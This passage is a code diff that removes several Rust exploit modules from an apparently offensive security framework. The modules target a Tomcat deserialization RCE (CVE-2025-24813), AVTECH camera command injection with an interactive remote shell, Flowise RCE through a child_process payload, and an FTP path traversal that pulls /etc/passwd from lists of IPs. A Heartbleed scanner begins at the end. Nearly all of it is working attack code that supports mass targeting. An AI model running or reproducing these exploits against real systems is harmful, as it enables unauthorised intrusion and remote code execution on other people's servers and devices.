.body("testdata".to_string())
|
||||
.timeout(Duration::from_secs(10))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status() == StatusCode::OK || res.status() == StatusCode::CREATED {
|
||||
println!("[+] Server is writable via PUT: {check_url}");
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("[-] Server not writable: HTTP {}", res.status());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// // Generate a raw Java payload JAR via `javac` and `jar`
|
||||
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
|
||||
let payload_java = format!(
|
||||
r#"
|
||||
import java.io.IOException;
|
||||
import java.io.PrintWriter;
|
||||
|
||||
public class Exploit {{
|
||||
static {{
|
||||
try {{
|
||||
String cmd = "{cmd}";
|
||||
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(
|
||||
Runtime.getRuntime().exec(cmd).getInputStream()
|
||||
));
|
||||
String line;
|
||||
StringBuilder output = new StringBuilder();
|
||||
while ((line = reader.readLine()) != null) {{
|
||||
output.append(line).append("\\n");
|
||||
}}
|
||||
PrintWriter out = new PrintWriter(System.out);
|
||||
out.println(output.toString());
|
||||
out.flush();
|
||||
}} catch (IOException e) {{
|
||||
e.printStackTrace();
|
||||
}}
|
||||
}}
|
||||
}}
|
||||
"#,
|
||||
cmd = command
|
||||
);
|
||||
|
||||
println!("[*] Generating Java payload using system javac and jar...");
|
||||
|
||||
std::fs::write("Exploit.java", &payload_java)?;
|
||||
let compile = Command::new("javac").arg("Exploit.java").status()?;
|
||||
if !compile.success() {
|
||||
bail!("[-] javac failed. Make sure JDK is installed.");
|
||||
}
|
||||
|
||||
let package = Command::new("jar")
|
||||
.args(["cfe", payload_file, "Exploit", "Exploit.class"])
|
||||
.status()?;
|
||||
|
||||
if !package.success() {
|
||||
bail!("[-] jar packaging failed.");
|
||||
}
|
||||
|
||||
std::fs::remove_file("Exploit.java").ok();
|
||||
std::fs::remove_file("Exploit.class").ok();
|
||||
|
||||
println!("[+] Java payload JAR created: {}", payload_file);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Generate ysoserial payload
|
||||
fn generate_ysoserial_payload(command: &str, ysoserial_path: &str, gadget: &str, payload_file: &str) -> Result<()> {
|
||||
if !Path::new(ysoserial_path).exists() {
|
||||
bail!("[-] Error: {} not found", ysoserial_path);
|
||||
}
|
||||
|
||||
println!("[*] Generating ysoserial payload: {}", command);
|
||||
let output = Command::new("java")
|
||||
.args(["-jar", ysoserial_path, gadget, &format!("cmd.exe /c {}", command)])
|
||||
.stdout(Stdio::piped())
|
||||
.spawn()?
|
||||
.wait_with_output()?;
|
||||
|
||||
std::fs::write(payload_file, output.stdout)?;
|
||||
println!("[+] Payload generated: {payload_file}");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Upload and verify payload
|
||||
async fn upload_and_verify_payload(
|
||||
client: &Client,
|
||||
target_url: &str,
|
||||
host: &str,
|
||||
port: &str,
|
||||
session_id: &str,
|
||||
payload_file: &str,
|
||||
) -> Result<bool> {
|
||||
let exploit_url = format!("{}/uploads/../sessions/{}.session", target_url, session_id);
|
||||
let payload = read(payload_file).await?;
|
||||
|
||||
let res = client
|
||||
.put(&exploit_url)
|
||||
.header("Host", format!("{host}:{port}"))
|
||||
.header("Content-Length", "10000")
|
||||
.header("Content-Range", "bytes 0-1000/1200")
|
||||
.body(payload)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status() == StatusCode::CONFLICT {
|
||||
println!("[+] Upload successful (409): {}", exploit_url);
|
||||
|
||||
let confirm = client
|
||||
.get(target_url)
|
||||
.header("Cookie", "JSESSIONID=absholi7ly")
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if confirm.status() == StatusCode::INTERNAL_SERVER_ERROR {
|
||||
println!("[+] Exploit triggered! Server returned 500.");
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("[-] Trigger failed: {}", confirm.status());
|
||||
Ok(false)
|
||||
}
|
||||
} else {
|
||||
println!("[-] Upload failed: HTTP {}", res.status());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// // Get session ID
|
||||
async fn get_session_id(client: &Client, target_url: &str) -> Result<String> {
|
||||
let res = client
|
||||
.get(&format!("{}/index.jsp", target_url))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let body = res.text().await?;
|
||||
let re = Regex::new(r"Session ID: (\w+)")?;
|
||||
|
||||
if let Some(caps) = re.captures(&body) {
|
||||
return Ok(caps[1].to_string());
|
||||
}
|
||||
|
||||
println!("[-] No session ID found. Using default.");
|
||||
Ok("absholi7ly".to_string())
|
||||
}
|
||||
|
||||
/// // Exploit logic
|
||||
async fn execute_exploit(
|
||||
target_url: &str,
|
||||
port: &str,
|
||||
command: &str,
|
||||
ysoserial_path: &str,
|
||||
gadget: &str,
|
||||
payload_type: &str,
|
||||
verify_ssl: bool,
|
||||
) -> Result<()> {
|
||||
let host = target_url.split("://").nth(1).unwrap_or(target_url).trim_matches('/').split(':').next().unwrap();
|
||||
let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
|
||||
let session_id = get_session_id(&client, target_url).await?;
|
||||
|
||||
println!("[*] Session ID: {session_id}");
|
||||
|
||||
if check_writable_servlet(&client, target_url, host, port).await? {
|
||||
let payload_file = "payload.ser";
|
||||
|
||||
match payload_type {
|
||||
"java" => generate_java_payload(command, payload_file)?,
|
||||
"ysoserial" => generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)?,
|
||||
_ => bail!("[-] Invalid payload type: {}", payload_type),
|
||||
}
|
||||
|
||||
if upload_and_verify_payload(&client, target_url, host, port, &session_id, payload_file).await? {
|
||||
println!("[+] Target vulnerable to CVE-2025-24813!");
|
||||
} else {
|
||||
println!("[-] Exploit failed or target not vulnerable.");
|
||||
}
|
||||
|
||||
remove_file(payload_file).await.ok();
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{BANNER}");
|
||||
|
||||
let mut target = sanitize_target(target);
|
||||
println!("[+] Target sanitized: {}", target);
|
||||
|
||||
let mut command = String::from("calc.exe");
|
||||
let mut port = prompt("Enter port (default 8080)", Some("8080"));
|
||||
println!("[+] Default port set to {}", port);
|
||||
|
||||
let mut ysoserial_path = String::from("ysoserial.jar");
|
||||
let mut gadget = String::from("CommonsCollections6");
|
||||
let mut payload_type = String::from("ysoserial");
|
||||
let mut ssl_verify = true;
|
||||
|
||||
loop {
|
||||
println!(
|
||||
r#"
|
||||
=== MENU ===
|
||||
1. Set Target URL (current: {target})
|
||||
2. Set Command (current: {command})
|
||||
3. Set Port (current: {port})
|
||||
4. Set ysoserial Path (current: {ysoserial_path})
|
||||
5. Set Gadget (current: {gadget})
|
||||
6. Set Payload Type (current: {payload_type})
|
||||
7. Toggle SSL Verify (current: {ssl_verify})
|
||||
8. Run Exploit
|
||||
9. Exit
|
||||
"#
|
||||
);
|
||||
|
||||
let selection = prompt("Select an option", None);
|
||||
match selection.as_str() {
|
||||
"1" => {
|
||||
target = prompt("Enter target URL", Some(&target));
|
||||
println!("[+] Target updated: {target}");
|
||||
}
|
||||
"2" => {
|
||||
command = prompt("Enter command to execute", Some(&command));
|
||||
println!("[+] Command set: {command}");
|
||||
}
|
||||
"3" => {
|
||||
port = prompt("Enter port", Some(&port));
|
||||
println!("[+] Port set: {port}");
|
||||
}
|
||||
"4" => {
|
||||
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path));
|
||||
println!("[+] ysoserial path set: {ysoserial_path}");
|
||||
}
|
||||
"5" => {
|
||||
gadget = prompt("Enter gadget", Some(&gadget));
|
||||
println!("[+] Gadget set: {gadget}");
|
||||
}
|
||||
"6" => {
|
||||
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type));
|
||||
if payload_type != "ysoserial" && payload_type != "java" {
|
||||
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
|
||||
payload_type = "ysoserial".into();
|
||||
} else {
|
||||
println!("[+] Payload type set: {payload_type}");
|
||||
}
|
||||
}
|
||||
"7" => {
|
||||
ssl_verify = !ssl_verify;
|
||||
println!("[!] SSL verification toggled: {ssl_verify}");
|
||||
}
|
||||
"8" => break,
|
||||
"9" => {
|
||||
println!("[!] Exiting without running exploit.");
|
||||
return Ok(());
|
||||
}
|
||||
_ => println!("[-] Invalid option. Please choose 1-9."),
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Starting exploit with:");
|
||||
println!(" Target URL : {target}");
|
||||
println!(" Command : {command}");
|
||||
println!(" Port : {port}");
|
||||
println!(" ysoserial : {ysoserial_path}");
|
||||
println!(" Gadget : {gadget}");
|
||||
println!(" SSL Verify : {ssl_verify}");
|
||||
|
||||
execute_exploit(&target, &port, &command, &ysoserial_path, &gadget, &payload_type, ssl_verify).await
|
||||
}
|
||||
@@ -1,3 +0,0 @@
|
||||
pub mod cve_2025_24813_apache_tomcat_rce;
|
||||
pub mod catkiller_cve_2025_31650;
|
||||
|
||||
@@ -1,114 +0,0 @@
|
||||
use anyhow::Result;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
|
||||
/// // Ensures the target string has a scheme (http://) and includes port
|
||||
fn normalize_url(ip: &str, port: &str) -> String {
|
||||
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
|
||||
ip.to_string()
|
||||
} else {
|
||||
format!("http://{}", ip)
|
||||
};
|
||||
|
||||
let port = port.trim();
|
||||
if port.is_empty() {
|
||||
with_scheme
|
||||
} else if with_scheme.contains(':') {
|
||||
with_scheme // already has port
|
||||
} else {
|
||||
format!("{}:{}", with_scheme, port)
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", "1;echo_CVE7029;");
|
||||
let resp = client.get(url).send().await?;
|
||||
let body = resp.text().await?;
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
/// // Interactive shell to send arbitrary commands
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut lines = BufReader::new(stdin).lines();
|
||||
|
||||
loop {
|
||||
print!("cve7029-shell> ");
|
||||
io::stdout().flush()?;
|
||||
if let Some(cmd) = lines.next_line().await? {
|
||||
let cmd = cmd.trim();
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
break;
|
||||
}
|
||||
match exec_cmd(client, base, cmd).await {
|
||||
Ok(out) => println!("{}", out),
|
||||
Err(e) => eprintln!("Error: {}", e),
|
||||
}
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Execute a remote command by abusing the brightness parameter
|
||||
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
let payload = format!("1;{};", cmd);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", &payload);
|
||||
let response = client.get(url).send().await?;
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
/// // Prompt user for a custom port number
|
||||
fn prompt_port() -> Result<String> {
|
||||
print!("Enter port to use [default: 80]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut port = String::new();
|
||||
io::stdin().read_line(&mut port)?;
|
||||
let port = port.trim();
|
||||
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
|
||||
}
|
||||
|
||||
/// // Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = prompt_port()?;
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
// // Handle either single IP or file of targets
|
||||
let targets = if Path::new(target).exists() {
|
||||
tokio::fs::read_to_string(target)
|
||||
.await?
|
||||
.lines()
|
||||
.map(str::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
for raw_ip in &targets {
|
||||
let url = normalize_url(raw_ip, &port);
|
||||
if check_vuln(&client, &url).await? {
|
||||
println!("[+] {} is vulnerable!", url);
|
||||
interactive_shell(&client, &url).await?;
|
||||
} else {
|
||||
println!("[-] {} is not vulnerable", url);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod cve_2024_7029_avtech_camera;
|
||||
@@ -1,185 +0,0 @@
|
||||
// CVE-2025-59528 - Flowise < 3.0.5 Remote Code Execution
|
||||
// Exploit Author: nltt0 (https://github.com/nltt-br)
|
||||
// Vendor Homepage: https://flowiseai.com/
|
||||
// Software Link: https://github.com/FlowiseAI/Flowise
|
||||
// Version: < 3.0.5
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
/// Displays module banner
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
_____ _ _____
|
||||
/ __ \ | | / ___|
|
||||
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
|
||||
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
|
||||
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
|
||||
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
|
||||
__/ |
|
||||
|___/
|
||||
|
||||
by nltt0
|
||||
"#
|
||||
.cyan()
|
||||
);
|
||||
}
|
||||
|
||||
/// Login to Flowise and return authenticated session
|
||||
async fn login(client: &Client, url: &str, email: &str, password: &str) -> Result<String> {
|
||||
let login_url = format!("{}/api/v1/auth/login", url.trim_end_matches('/'));
|
||||
|
||||
let data = json!({
|
||||
"email": email,
|
||||
"password": password
|
||||
});
|
||||
|
||||
let response = client
|
||||
.post(&login_url)
|
||||
.header("x-request-from", "internal")
|
||||
.header("Accept-Language", "pt-BR,pt;q=0.9")
|
||||
.header("Accept", "application/json, text/plain, */*")
|
||||
.header("Content-Type", "application/json")
|
||||
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36")
|
||||
.header("Origin", "http://workflow.flow.hc")
|
||||
.header("Referer", "http://workflow.flow.hc/signin")
|
||||
.header("Accept-Encoding", "gzip, deflate, br")
|
||||
.header("Connection", "keep-alive")
|
||||
.json(&data)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if response.status().is_success() {
|
||||
// Extract session token/cookie from response
|
||||
// The actual token extraction depends on Flowise's response format
|
||||
// For now, we'll use the cookie jar from the client
|
||||
Ok("authenticated".to_string())
|
||||
} else {
|
||||
Err(anyhow!("Login failed with status: {}", response.status()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Execute remote code via the customMCP endpoint
|
||||
async fn execute_rce(
|
||||
client: &Client,
|
||||
url: &str,
|
||||
email: &str,
|
||||
password: &str,
|
||||
cmd: &str,
|
||||
) -> Result<()> {
|
||||
// First, login to get authenticated session
|
||||
println!("{}", "[*] Attempting to login...".yellow());
|
||||
login(client, url, email, password).await?;
|
||||
println!("{}", "[+] Login successful".green());
|
||||
|
||||
let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/'));
|
||||
|
||||
// Escape the command for JavaScript execution
|
||||
let escaped_cmd = cmd.replace('\\', "\\\\").replace('"', "\\\"").replace('\n', "\\n");
|
||||
|
||||
// Construct the malicious payload
|
||||
let command = format!(
|
||||
r#"({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{}");return 1;}})()}})"#,
|
||||
escaped_cmd
|
||||
);
|
||||
|
||||
let data = json!({
|
||||
"loadMethod": "listActions",
|
||||
"inputs": {
|
||||
"mcpServerConfig": command
|
||||
}
|
||||
});
|
||||
|
||||
println!("{}", format!("[*] Executing command: {}", cmd).yellow());
|
||||
|
||||
let response = client
|
||||
.post(&rce_url)
|
||||
.header("x-request-from", "internal")
|
||||
.header("Content-Type", "application/json")
|
||||
.json(&data)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send RCE request")?;
|
||||
|
||||
if response.status() == 401 {
|
||||
// Retry with internal header if we get 401
|
||||
println!("{}", "[*] Received 401, retrying with internal header...".yellow());
|
||||
let retry_response = client
|
||||
.post(&rce_url)
|
||||
.header("x-request-from", "internal")
|
||||
.json(&data)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to retry RCE request")?;
|
||||
|
||||
if retry_response.status().is_success() {
|
||||
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
|
||||
} else {
|
||||
println!("{}", format!("[-] Command execution failed with status: {}", retry_response.status()).red());
|
||||
}
|
||||
} else if response.status().is_success() {
|
||||
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
|
||||
} else {
|
||||
println!("{}", format!("[-] Command execution failed with status: {}", response.status()).red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Main entry point for auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut base_url = target.trim().to_string();
|
||||
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
|
||||
base_url = format!("http://{}", base_url);
|
||||
}
|
||||
base_url = base_url.trim_end_matches('/').to_string();
|
||||
|
||||
println!("{}", format!("[*] Target URL: {}", base_url).yellow());
|
||||
|
||||
// Build HTTP client with cookie support and SSL verification disabled
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(30))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.cookie_store(true)
|
||||
.build()
|
||||
.context("Failed to create HTTP client")?;
|
||||
|
||||
// Prompt for credentials and command
|
||||
let mut email = String::new();
|
||||
let mut password = String::new();
|
||||
let mut command = String::new();
|
||||
|
||||
print!("{}", "Email: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut email)?;
|
||||
|
||||
print!("{}", "Password: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut password)?;
|
||||
|
||||
print!("{}", "Command to execute: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut command)?;
|
||||
|
||||
let email = email.trim();
|
||||
let password = password.trim();
|
||||
let command = command.trim();
|
||||
|
||||
if email.is_empty() || password.is_empty() || command.is_empty() {
|
||||
return Err(anyhow!("Email, password, and command must be provided"));
|
||||
}
|
||||
|
||||
execute_rce(&client, &base_url, email, password, command).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,2 +0,0 @@
|
||||
pub mod cve_2025_59528_flowise_rce;
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
pub mod pachev_ftp_path_traversal_1_0;
|
||||
@@ -1,198 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use ftp::FtpStream;
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, copy, BufRead, BufReader, Write};
|
||||
use std::path::Path;
|
||||
use tokio::task;
|
||||
use tokio::sync::Semaphore;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use colored::*; // // Colorful output
|
||||
use std::time::Duration;
|
||||
use tokio::time::timeout;
|
||||
|
||||
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
|
||||
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
|
||||
|
||||
// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
let mut clean = target.trim().to_string();
|
||||
|
||||
while clean.starts_with('[') && clean.ends_with(']') {
|
||||
clean = clean[1..clean.len() - 1].to_string();
|
||||
}
|
||||
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
|
||||
// // Actual FTP path traversal exploit
|
||||
fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
let addr = format_addr(&target, port);
|
||||
|
||||
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
|
||||
|
||||
// Resolve address with better error handling
|
||||
let socket_addr = addr.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
|
||||
|
||||
let mut ftp = FtpStream::connect(socket_addr)
|
||||
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
|
||||
|
||||
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
|
||||
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
|
||||
|
||||
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
|
||||
|
||||
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
|
||||
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
|
||||
.into_inner();
|
||||
let mut reader = std::io::Cursor::new(reader);
|
||||
|
||||
let safe_name = target.replace(['[', ']', ':'], "_");
|
||||
let out_file = format!("{}_passwd.txt", safe_name);
|
||||
let mut file = File::create(&out_file)?;
|
||||
copy(&mut reader, &mut file)?;
|
||||
|
||||
ftp.quit().ok();
|
||||
|
||||
println!("{}", format!("[+] File saved as {}", out_file).green());
|
||||
|
||||
Ok(format!("{} SUCCESS", target))
|
||||
}
|
||||
|
||||
// // Save result line into `results.txt`
|
||||
fn save_result(line: &str) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open("results.txt")?;
|
||||
|
||||
writeln!(file, "{}", line)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Public auto-dispatch entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let target = target.to_string(); // // Own target early to avoid lifetime issues
|
||||
|
||||
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut port_input = String::new();
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port_input = port_input.trim();
|
||||
let port = if port_input.is_empty() {
|
||||
21
|
||||
} else {
|
||||
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
|
||||
};
|
||||
|
||||
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut use_list = String::new();
|
||||
io::stdin().read_line(&mut use_list)?;
|
||||
let use_list = use_list.trim().to_lowercase();
|
||||
|
||||
if use_list == "yes" || use_list == "y" {
|
||||
print!("{}", "Enter path to the IP list file: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut path = String::new();
|
||||
io::stdin().read_line(&mut path)?;
|
||||
let path = path.trim();
|
||||
|
||||
if !Path::new(path).exists() {
|
||||
return Err(anyhow!("List file does not exist: {}", path));
|
||||
}
|
||||
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS));
|
||||
let mut futures = FuturesUnordered::new();
|
||||
|
||||
for line_result in reader.lines() {
|
||||
match line_result {
|
||||
Ok(ip) => {
|
||||
let ip = ip.trim();
|
||||
if ip.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let ip_owned = ip.to_string();
|
||||
let ip_for_errors = ip_owned.clone(); // Clone for error messages
|
||||
let port = port;
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
|
||||
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
|
||||
|
||||
futures.push(tokio::spawn(async move {
|
||||
let _permit = permit; // // Hold permit alive
|
||||
let ip_for_errors = ip_for_errors.clone(); // Clone for error messages in closure
|
||||
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
|
||||
|
||||
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
|
||||
Ok(Ok(Ok(success))) => {
|
||||
println!("{}", format!("[+] Success: {}", success).green().bold());
|
||||
let _ = save_result(&success);
|
||||
}
|
||||
Ok(Ok(Err(e))) => {
|
||||
println!("{}", format!("[-] Exploit error for {}: {}", ip_for_errors, e).red());
|
||||
let _ = save_result(&format!("{} FAIL: {}", ip_for_errors, e));
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("{}", format!("[-] Join error for {}: {}", ip_for_errors, e).red());
|
||||
let _ = save_result(&format!("{} FAIL: Join error {}", ip_for_errors, e));
|
||||
}
|
||||
Err(_) => {
|
||||
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", ip_for_errors, FTP_TIMEOUT_SECONDS).yellow());
|
||||
let _ = save_result(&format!("{} TIMEOUT", ip_for_errors));
|
||||
}
|
||||
}
|
||||
|
||||
Ok::<(), anyhow::Error>(())
|
||||
}));
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to read line: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// // Wait for all tasks to complete
|
||||
while let Some(res) = futures.next().await {
|
||||
if let Err(e) = res {
|
||||
println!("{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// // Single target mode
|
||||
let target_owned = target.to_string();
|
||||
let port = port;
|
||||
|
||||
println!("{}", format!("[*] Exploiting single target: {}:{}", target, port).yellow());
|
||||
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
|
||||
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
|
||||
Ok(Ok(Ok(success))) => {
|
||||
println!("{}", format!("[+] Success: {}", success).green().bold());
|
||||
let _ = save_result(&success);
|
||||
}
|
||||
Ok(Ok(Err(e))) => {
|
||||
println!("{}", format!("[-] Exploit error: {}", e).red());
|
||||
let _ = save_result(&format!("{} FAIL: {}", target, e));
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("{}", format!("[-] Join error: {}", e).red());
|
||||
let _ = save_result(&format!("{} FAIL: Join error {}", target, e));
|
||||
}
|
||||
Err(_) => {
|
||||
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", target, FTP_TIMEOUT_SECONDS).yellow());
|
||||
let _ = save_result(&format!("{} TIMEOUT", target));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,477 +0,0 @@
|
||||
use anyhow::{Context, Result, bail};
|
||||
use std::fs::File;
|
||||
use std::io::{Write, BufRead, BufReader};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration, sleep};
|
||||
use regex::Regex;
|
||||
use std::sync::Arc;
|
||||
use tokio::sync::Semaphore;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use colored::Colorize;
|
||||
|
||||
const MAX_RETRIES: u32 = 3;
|
||||
const INITIAL_BACKOFF_MS: u64 = 500;
|
||||
const MAX_CONCURRENT: usize = 10;
|
||||
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ScanConfig {
|
||||
pub port: u16,
|
||||
pub payload_size: u16,
|
||||
pub heartbeat_attempts: usize,
|
||||
pub batch_file: Option<String>,
|
||||
}
|
||||
|
||||
impl Default for ScanConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
port: 443,
|
||||
payload_size: 0x4000,
|
||||
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
|
||||
batch_file: None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let config = get_user_config(target)?;
|
||||
run_with_config(target, config).await
|
||||
}
|
||||
|
||||
fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
let mut config = ScanConfig::default();
|
||||
|
||||
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
|
||||
println!();
|
||||
|
||||
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
if let Ok(port) = input.trim().parse::<u16>() {
|
||||
if port > 0 {
|
||||
config.port = port;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
if let Ok(size) = input.trim().parse::<u16>() {
|
||||
if size > 0 && size <= 0x4000 {
|
||||
config.payload_size = size;
|
||||
} else if size > 0x4000 {
|
||||
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
|
